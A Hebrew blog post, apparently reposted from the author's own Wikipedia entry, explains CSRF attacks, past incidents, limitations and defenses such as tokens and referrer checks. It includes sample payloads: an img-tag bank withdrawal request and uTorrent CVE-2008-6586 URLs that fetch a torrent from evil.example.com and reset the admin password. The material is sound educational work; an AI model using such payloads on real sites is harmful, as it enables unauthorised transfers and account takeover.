CSRF (באנגלית: Cross-site request forgery) היא התקפה נגד משתמשי קצה המאלצת את דפדפן האינטרנט של הקורבן לבצע פעולות לא מתוכננות באתר אינטרנט בשמו של המשתמש בשירות באמצעות ניצול מגבלות בפרוטוקול HTTP.



בעזרת כישורי הנדסה חברתית וניסיון בכתיבת סקריפטים, בונה התוקף עמוד נחיתה זדוני, משכנע את הקורבן להיכנס אליו ובכך יורש את זהות הקורבן וכן את הרשאות המשתמש שלו ביישום ספציפי אליו התכוון להגיע. התקפה זו יכולה בין היתר לאלץ את המשתמש להעביר כספים לגורם שלישי, לרכוש פריטים שונים, לשנות כתובת דואר אלקטרוני מוגדרת לכתובת אחרת, או להחליף תמונת פרופיל, כל זאת מבלי שהקורבן שם לב לביצוע פעולות אלה.

מכיוון שאני כתבתי את הערך בויקיפדיה במלואו, אני מרשה לעצמי להעתיק אותו לכאן.

היסטוריה
התקפות CSRF התגלו לראשונה בשנת 2001 לאחר מספר מקרים שונים. למרות שהתגלו, היה קשה לאמת אותן כיוון שההתקפות התבצעו מכתובת IP של המשתמש בשירות.
* בשנת 2006 התגלו באתר נטפליקס, המספק שירותי וידאו והשכרת סרטים, פגיעות אשר אפשרה לתוקפים לבצע פעולות שונות בחשבונם של המשתמשים כגון: שינוי פרטי כניסה, שינוי כתובת ואף גם לשכור סרטים חדשים והוספתם אל חשבון המשתמש.
* פגיעויות באתר הבנק האינטרנטי ING Direct, אפשרו העברות כספים לא חוקיות.
* בשנת 2008 התגלתה פגיעות באתר YouTube המאפשרת לתוקף לשלוט באופן כמעט מלא בחשבון המשתמש של הקורבן.
* לקוחות בנק מקסיקני התריעו על קבלת מייל עם תמונה, לחיצה עליה שולחת פקודה אל הנתב הביתי של הקורבן ומחליפה בשמם את רשומות ה-DNS של הבנק. בכל פעם שהיו מנסים לגשת לאתר של הבנק, היו הקורבנות מגיעים אל אתר זדוני ומתחזה.
* פגיעות באתר של חברת האנטי וירוס, McAfee, אפשרה לתוקפים לשנות את מערכות החברה.

שימוש
ההתקפה מתבצעת על ידי הצבת קישור לדף אינטרנט, פרסומת או תמונה, בפורומים, צ'אטים, דואר זבל ועוד. לאחר הלחיצה על הקישור, התוכנית מנסה לקבל גישה לאתר. לאחר שהמשתמש כבר אומת מול שרת HTTP, התוקף יוכל לבצע את פעולתו.

לדוגמה: בעזרת כישורי הנדסה חברתית תישלח אל הקורבן הודעה ותשכנע אותו ללחוץ על קישור/תמונה בהם התוקף הכניס תגים או סקריפטים:
"היי אליס! שמי בוב, ואני רוצה להציע לך ביטוח רכב ל-3 חודשים ללא עלות. לפרטים נוספים, לחצי על התמונה":

<syntaxhighlight lang=html>
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=attacker">
</syntaxhighlight>
}}
אם הבנק של אליס שומר את אימות המשתמש ובמקרה שתוקף העוגייה לא פג, לאחר שאליס תלחץ על התמונה, הדפדפן שלה ישלח בקשה להעברת כסף לחשבון של בוב ויאמת זאת באמצעות אותה העוגייה. משמעות הדבר שהעסקה תושלם בהצלחה, למרות שכל זה קורה ללא אישורה וידיעתה של אליס.

דוגמה נוספת:

פגיעות באתר הטורנטים הפופולרי uTorrent - יוטורנט (CVE-2008-6586) ניצלה את העובדה שהאתר נגיש ב-localhost:8080 ואפשרה לבצע פעולות פשוטות בעזרת פעולות GET פשוטות:
הורדת קובץ ללא הסכמת המשתמש:
<syntaxhighlight lang=html>http://localhost:8080/gui/?action=add-url&amp;s=http://evil.example.com/backdoor.torrent</syntaxhighlight>
שינוי סיסמאת האדמין של uTorrent - יוטורנט:
<syntaxhighlight lang=html>http://localhost:8080/gui/?action=setsetting&amp;s=webui.password&amp;v=eviladmin</syntaxhighlight>
}}
ניתן להשתמש גם בהזנה מיוחדת של קוד HTML הנקראת BBCode באופן הבא:

<syntaxhighlight lang=html>
[Img]http://localhost:8080/gui/?Action=add-url&amp;shttp://evil.example.com/backdoor.torrent[/img]
</syntaxhighlight>

במקרה של קשר בין יישום מקומי לבין קישור התקפי, הדפדפן ישלח באופן אוטומטי את כל קובצי העוגייה הקיימים של אותו היישום.
תכונה זו מאפשרת להתקפות CSRF לנצל את הפגיעות שלהן ולבצע פעולות עוינות כל עוד המשתמש מחובר לאתר היעד בזמן ההתקפה.

התכונות הבאות מאפיינות התקפת CSRF:

* ההתקפה עשויה לחול על אתרים המסתמכים על זיהוי משתמש.
* ההתקפה מנצלת שירותי האמון של האפליקציה.
* ההתקפה מרמה את דפדפן אינטרנט וגורמת לו לשלוח בקשת HTTP לא רצויה לאתר היעד.
* ההתקפה מכוונת את דפדפני האינטרנט לבצע פעולות מאומתות על ידי עוגיות מבלי ידיעתם של המשתמשים וללא אישורם.

הגבלות
כדי שהתקפה זו תצליח יש לשים לב למספר דברים:
* על התוקף למקד את ההתקפה על אתר שאינו בודק את הכותרת המפנה (referrer header), דפדפן או תוסף ולמצוא אתר המאפשר זיופים של הפניות.
* על התוקף למצוא אתר שבו מוגשות בקשות (טפסים) מצד הלקוח (העברות כספים, שינוי כתובת דוא"ל או סיסמה של הקורבן ועוד).
* התוקף חייב להכניס ערכים נכונים בכל הטפסים המוזנים באתר. במקרה שאחד מהתאים ידרוש מהקורבן למלא פרטים שהתוקף לא יכול לנחש, כגון: קוד אימות סודי או תעודת זהות, סביר להניח שהתקפה זו תיכשל.
* התוקף צריך לפתות את הקורבן להיכנס אל דף האינטרנט הזדוני בזמן שהקורבן עדיין מחובר לאתר אליו מכוונת התקיפה.
* זוהי התקפה עיוורת. משמעות הדבר שהתוקף אינו יכול לראות מה אתר היעד שולח בחזרה לקורבן כתגובה לבקשות המזויפות, אלא אם כן מוצאים ומנצלים באגים באתר היעד.

בעקבות אילוצים אלה, ייתכן שתוקף יתקשה למצוא קורבנות.

מניעה
הן משתמשים והן מפתחי אתרים יכולים למנוע התקפות CSRF פעילות.

התקפה מוצלחת דורשת מילוי שני תנאים:
* המשתמש חייב להיות מחובר לאתר.
* פתרון יעיל לבעיה זו הוא לבצע התנתקות מהאתר שבו בוצעה הפעולה מיד לאחר סיומה ולא לאפשר לדפדפן האינטרנט לשמור את ססמת האפליקציה.
* דפדפן הקורבן חייב לשלוח לאתר היעד בקשה לביצוע פעולה לא רצויה.
* פתרון יעיל לבעיה זו יהיה הימנעות מלחיצה על קישורים או תמונות בתכתובות דואר אלקטרוני, ולהימנע מביקור באתרים לא-מוכרים והזנת פרטים אישיים.

ג'רמיה גרוסמן, מומחה לאבטחת מידע בחברת WhiteHat Security, משתמש בדפדפן נפרד לגלישה באינטרנט ואחר לעבודה מול שירות בנקאות אשר משמש אך ורק למטרה זו.

ישנן מספר שיטות של מפתחי אתרים המקשות לבצע התקפות CSRF:
* הגבלת זמן השהייה בחשבון - פקיעת תוקף לאחר זמן מסוים בו לא בוצעה שום פעולה.
* יש לבקש אישור מהמשתמש בעבור כל פעולה חשובה המתבצעת באתר.
* בעבור כל שליחת טופס ניתן להוסיף שדה נסתר המכיל מספר פסאודו-אקראי אשר יוגש עם הבקשה לביצוע פעולה, ואם הערך לא יוצג בטופס, השרת יתעלם מהפעולה.
* אימות הכותרת המפנה (referrer header), אשר מבטיח כי הערך זמין רק עבור סקריפטים מהדף המקורי.
* ביצוע פעולה חשודה ישלח הודעת SMS ישירות אל המשתמש מיד לאחר ניסיון הביצוע.
* שליחת בקשות בשיטת HTTP POST ולא באמצעות HTTP GET.

שתף:

פאביו ליאור רחמים

סקרן, אוהב טכנולוגיה ומחשבים מזה שנים רבות וכותב ערכים קבוע בויקיפדיה.